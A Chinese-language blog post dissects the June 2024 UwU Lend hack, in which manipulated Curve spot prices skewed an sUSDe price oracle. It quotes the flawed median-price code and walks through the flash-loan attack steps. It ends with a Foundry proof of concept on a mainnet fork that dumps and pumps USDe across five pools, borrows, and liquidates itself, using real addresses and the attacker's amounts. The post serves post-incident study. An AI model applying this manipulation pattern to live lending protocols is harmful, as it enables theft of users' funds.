攻击相关基本信息2024年6月10号,UWULend合约被攻击薅走5272枚WETH,约2300w美金。我对这个攻击进行了梳理,并完成了简单的PoC。这个漏洞的本质是预言机价格操纵。
2024年6月10号,UWU Lend合约被攻击薅走5272枚WETH,约2300w美金。我对这个攻击进行了梳理,并完成了简单的PoC。这个漏洞的本质是预言机价格操纵。 漏洞合约代码地址: https://vscode.blockscan.com/ethereum/0xd252953818bdf8507643c237877020398fa4b2e8 攻击交易:
虽然智能合约可以非常轻松的调用其他合约的参数等信息,但是链上环境是很难获取链下信息。比如一个合约如果想获取链下的binance交易所的DAI/BNB价格,以此价格作为链上swap DAI与BNB的价格,就会变的十分困难。预言机就是为了把链下的数据传到链上,然后作为一个合约,被其他合约调用查询数据。 所以预言机的主要责任就是,获取数据,验证数据有效性,上传到链上,等待被查询。 预言机的攻击主要是因为它的数据可能被认为操控,导致给到链上的数据不准确,然后影响到其他defi项目的运行。 比如一个预言机合约A从某交易接口所获取试试DAI/BNB的价格,一个Defi 合约B通过访问预言机读取这个价格来进行链上的exchange。如果这个交易所接口被篡改,黑客就可以控制合约B上的DAI/BNB价格,从而获利
UWU lend在实行borrow逻辑的时候,使用了AAVE预言机查询sUSDE的价格:
AaveOracle的代码如下: 它最终调用了sUSDePriceProviderBUniCatch的getPrice()方法:https://vscode.blockscan.com/ethereum/0xd252953818bdf8507643c237877020398fa4b2e8
function getPrice() external view override returns (uint256) {
(uint256[] memory prices, bool uniFail) = _getPrices(true);
uint256 median = uniFail ? (prices[5] + prices[6]) / 2 : prices[5];
require(median > 0, 'Median is zero');
return FullMath.mulDiv(median, sUSDeScalingFactor, 1e3);
}
function _getPrices(bool sorted) internal view returns (uint256[] memory, bool uniFail) {
uint256[] memory prices = new uint256[](11);
(prices[0], prices[1]) = _getUSDeFraxEMAInUSD();
(prices[2], prices[3]) = _getUSDeUsdcEMAInUSD();
(prices[4], prices[5]) = _getUSDeDaiEMAInUSD();
(prices[6], prices[7]) = _getCrvUsdUSDeEMAInUSD();
(prices[8], prices[9]) = _getUSDeGhoEMAInUSD();
try UNI_V3_TWAP_USDT_ORACLE.getPrice() returns (uint256 price) {
prices[10] = price;
} catch {
uniFail = true;
}
if (sorted) {
_bubbleSort(prices);
}
return (prices, uniFail);
}
function _getUSDeFraxEMAInUSD() internal view returns (uint256, uint256) {
uint256 price = uwuOracle.getAssetPrice(FRAX);
// (USDe/FRAX * FRAX/USD) / 1e18
return (
FullMath.mulDiv(FRAX_POOL.price_oracle(0), price, 1e18),
FullMath.mulDiv(FRAX_POOL.get_p(0), price, 1e18)
);
}
function _getUSDeUsdcEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
}
function _getUSDeDaiEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
}
function _getCrvUsdUSDeEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
}
function _getUSDeGhoEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
}
总结一下:根源漏洞是aave预言机获取sUSDE的价格是去查5个币种在curve池子里面与usde的换算价格。每个币种返回2个值,分别是对标USDE的指数价格以及现货价格。现货价格可以被黑客操纵(通过闪电贷大量exchange操纵),所以5个币种返回的10个值,一半都是可以被操纵的,最终操纵了aave预言机返回的sUSDE的值。 问题代码出现在aave预言机,买单的是uwu lend,curve属于被间接利用的吃瓜群众。
搞懂了如何操纵价格,黑客就利用这个价格查开始获利,大概的步骤如下:
因为这个攻击调用的比较多 共7000多次调用,所以只截取关键步骤。 首先黑客套用了7层闪电贷,涉及到aave,morpho blue,balancer,Maker等闪电贷 砸盘操作:砸盘说白了就是把闪电贷里借到的usde在curve池子里换成五种token。这5个token都是精心挑选,被aave oracle用来计算sUSDE的5个币:Frax,USDC,Dai,CrvUSD,Gho 砸盘之后,就需要通过uwu进行借贷。首先借贷需要用户deposit一定的underlying token Aave默认质押的资产就是用于抵押品: 所以攻击合约就可以开始borrow sUSDE了: 借贷之后,开始抬盘,也就是之前exchange的反向操作。 由于抬盘之前的借贷达到了清算水位线,攻击合约开始清算自己的仓位并获取奖励: 上述就是攻击发生的主要调用。
下面是一个简单的poc,我没有完全复制黑客的步骤,简化了整个过程:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./interface.sol";
contract TestOracle is Test {
address private constant Curve_Pool_crvUSD_USDC=0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E;
address private constant crvUSD_Token=0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E;
address private constant DAI_Token=0x6B175474E89094C44Da98b954EedeAC495271d0F;
address private constant FRAX_Token=0x853d955aCEf822Db058eb8505911ED77F175b99e;
address private constant GHO_Token=0x40D16FC0246aD3160Ccc09B8D0D3A2cD28aE6C2f;
address private constant usdc_Token=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address private constant aave_oracle= 0xAC4A2aC76D639E10f2C05a41274c1aF85B772598;
address private constant usde_Token= 0x4c9EDD5852cd905f086C759E8383e09bff1E68B3;
address private constant sUsde_token=0x9D39A5DE30e57443BfF2A8307A4256c8797A3497;
address private constant USDecrvUSD=0xF55B0f6F2Da5ffDDb104b58a60F2862745960442;
address private constant morphoBlue_flashLoan_contract = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
address private constant usdeDAI=0xF36a4BA50C603204c3FC6d2dA8b78A7b69CBC67d;
address private constant FRAXUSDe=0x5dc1BF6f1e983C0b21EfB003c105133736fA0743;
address private constant GHOUSDe=0x670a72e6D22b0956C0D2573288F82DCc5d6E3a61;
address private constant USDeUSDC=0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72;
address private constant sUSDePriceProviderBUniCatchAddress=0xd252953818bDf8507643c237877020398FA4B2E8;
address private constant uwuLendingPoolAddress=0x05bfA9157E92690b179033cA2f6dd1e86B25Ea4D;
address private constant uwuLendingPoolProxyAddress=0x2409aF0251DCB89EE3Dee572629291f9B087c668;
address private constant wbtcAddress=0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address private constant wethAddress=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
function setUp() external {
vm.createSelectFork("https://eth.llamarpc.com", 20061322 - 1);
deal(address(usde_Token), address(this), 5e30);
deal(address(sUsde_token), address(this), 1e30);
deal(address(this), 100 ether);
//deal(address(DAI_Token),address(this), );
deal(address(wbtcAddress),address(this), 2e21 );
deal(address(wethAddress),address(this), 5e24 );
deal(address(crvUSD_Token),address(this),867622751614490455044553100);
deal(address(DAI_Token),address(this),1436865073725432400632984800);
deal(address(FRAX_Token),address(this),4623395634444476091269533900);
deal(address(GHO_Token),address(this),482460203217140550970463800);
deal(address(usdc_Token),address(this),1485687872187700);
}
function testOracle() external {
printOraclePriceOfUsde();
// 1. 砸盘
decreaseUsdePrice();
printOraclePriceOfUsde();
//2. 开借贷仓位
InitializableImmutableAdminUpgradeabilityProxy lendingPool = InitializableImmutableAdminUpgradeabilityProxy(payable(uwuLendingPoolProxyAddress));
//给池子质押两种币:weth和susde。weth会作为抵押品,susde将我会把它借出来,这个池子之前的susde为0,所以我要手动充一点进去。
uint256 balanceOfusdeIHave=IERC20(sUsde_token).balanceOf(address(this));
uint256 wethAmountForDeposit=100000000;//318490000000000000000000
uint256 susdeAmountForDepositAndBorrow=315800000000+5000000000;//1005999999999999999999999999
IWETH(payable(wethAddress)).approve(uwuLendingPoolProxyAddress,wethAmountForDeposit);
IERC20(sUsde_token).approve(uwuLendingPoolProxyAddress,susdeAmountForDepositAndBorrow);
lendingPool.deposit(wethAddress,wethAmountForDeposit,address(this),0);
lendingPool.deposit(sUsde_token,susdeAmountForDepositAndBorrow,address(this),0);
//把susde设置为:不可作为抵押品。因为等下我就是要借这个susde出来,如果susde即作为抵押品,又作为借出品,算起来会很混乱。
lendingPool.setUserUseReserveAsCollateral(sUsde_token,false);
uint256 balance=IERC20(sUsde_token).balanceOf(0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6);
lendingPool.borrow(sUsde_token,susdeAmountForDepositAndBorrow,2,0,address(this));
//这里打印下未抬盘前的债务健康情况
(uint256 totalCollateralETH1,uint256 totalDebtETH1,uint256 availableBorrowsETH1,uint256 currentLiquidationThreshold1,uint256 ltv1,uint256 healthFactor1)=lendingPool.getUserAccountData(address(this));
console.log("totalCollateralETH1",totalCollateralETH1);
console.log("totalDebtETH1",totalDebtETH1);
console.log("availableBorrowsETH1",availableBorrowsETH1);
console.log("currentLiquidationThreshold1",currentLiquidationThreshold1);
console.log("ltv",ltv1);
console.log("healthFactor",healthFactor1);
// 3. 抬盘
increaseUsdePrice();
printOraclePriceOfUsde();
// 4. 清算自己的仓位获得奖励
//这里打印下抬盘后的债务健康情况
(uint256 totalCollateralETH,uint256 totalDebtETH,uint256 availableBorrowsETH,uint256 currentLiquidationThreshold,uint256 ltv,uint256 healthFactor)=lendingPool.getUserAccountData(address(this));
console.log("*************************");
console.log("totalCollateralETH1",totalCollateralETH);
console.log("totalDebtETH1",totalDebtETH);
console.log("availableBorrowsETH1",availableBorrowsETH);
console.log("currentLiquidationThreshold1",currentLiquidationThreshold);
console.log("ltv",ltv);
console.log("healthFactor",healthFactor);
IERC20(sUsde_token).approve(uwuLendingPoolProxyAddress,type(uint256).max);
lendingPool.liquidationCall(wethAddress,sUsde_token,address(this),102905129855320898832593836,true);
}
//砸盘方法
function decreaseUsdePrice() internal {
// 把一部分usde换成crvUSD
IERC20(usde_Token).approve(USDecrvUSD,8730217337982457609941891);
//我是真的不知道为什么exchange这个数8730217337982457609941891就能把价格砸的最低。
//试了好多数,比如池子里usde的数量,池子里crvUSD的数量,但是还是黑客的数最有效。
//黑客应该是个数学家。
CurveStableSwapNG(USDecrvUSD).exchange(0,1,8730217337982457609941891,0,address(this));
// 把一部分usde换成DAI
IERC20(usde_Token).approve(usdeDAI,14457209551812563734628576);
CurveStableSwapNG(usdeDAI).exchange(0,1,14457209551812563734628576,0,address(this));
// 把一部分usde换成FRAX
IERC20(usde_Token).approve(FRAXUSDe,46577065184558291279687420);
CurveStableSwapNG(FRAXUSDe).exchange(1,0,46577065184558291279687420,0,address(this));
// 把一部分usde换成GHO
IERC20(usde_Token).approve(GHOUSDe,4924787269911726035563289);
CurveStableSwapNG(GHOUSDe).exchange(1,0,4924787269911726035563289,0,address(this));
// 把一部分usde换成usdc
IERC20(usde_Token).approve(USDeUSDC,15032389024791928694903584);
CurveStableSwapNG(USDeUSDC).exchange(0,1,15032389024791928694903584,0,address(this));
}
//抬盘方法
function increaseUsdePrice() internal {
// 把crvUSD 换成usde
uint256 crvUseBalance=IERC20(crvUSD_Token).balanceOf(address(this));
//console.log(crvUseBalance);
IERC20(crvUSD_Token).approve(USDecrvUSD,crvUseBalance);
CurveStableSwapNG(USDecrvUSD).exchange(1,0,crvUseBalance,0,address(this));
// 把DAI换成usde
uint256 daiBalance=IERC20(DAI_Token).balanceOf(address(this));
//console.log(daiBalance);
IERC20(DAI_Token).approve(usdeDAI,daiBalance);
CurveStableSwapNG(usdeDAI).exchange(1,0,daiBalance,0,address(this));
// 把FRAX换成usde
uint256 FraxBalance=IERC20(FRAX_Token).balanceOf(address(this));
//console.log(FraxBalance);
IERC20(FRAX_Token).approve(FRAXUSDe,FraxBalance);
CurveStableSwapNG(FRAXUSDe).exchange(0,1,FraxBalance,0,address(this));
// 把GHO换成usde
uint256 GhoBalance=IERC20(GHO_Token).balanceOf(address(this));
//console.log(GhoBalance);
IERC20(GHO_Token).approve(GHOUSDe,GhoBalance);
CurveStableSwapNG(GHOUSDe).exchange(0,1,GhoBalance,0,address(this));
// 把usdc换成usde
uint256 UsdcBalance=IERC20(usdc_Token).balanceOf(address(this));
//console.log(UsdcBalance);
IERC20(usdc_Token).approve(USDeUSDC,UsdcBalance);
CurveStableSwapNG(USDeUSDC).exchange(1,0,UsdcBalance,0,address(this));
}
function printOraclePriceOfUsde() internal {
//uint256 price1=IPriceOracleGetter(aave_oracle).getAssetPrice(sUsde_token);
uint256 price=sUSDePriceProviderBUniCatch(sUSDePriceProviderBUniCatchAddress).getPrice();
console.log("************sUsde price is ",price);
}
}
写的比较好的英文文章:https://neptunemutual.com/blog/understanding-the-uwu-lend-exploit/ 写的最快的慢雾文章:https://mp.weixin.qq.com/s/mcCNO6IwaI-L1Aj1VRBi2w AAVE开发文档:https://docs.aave.com/developers/guides/liquidations
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!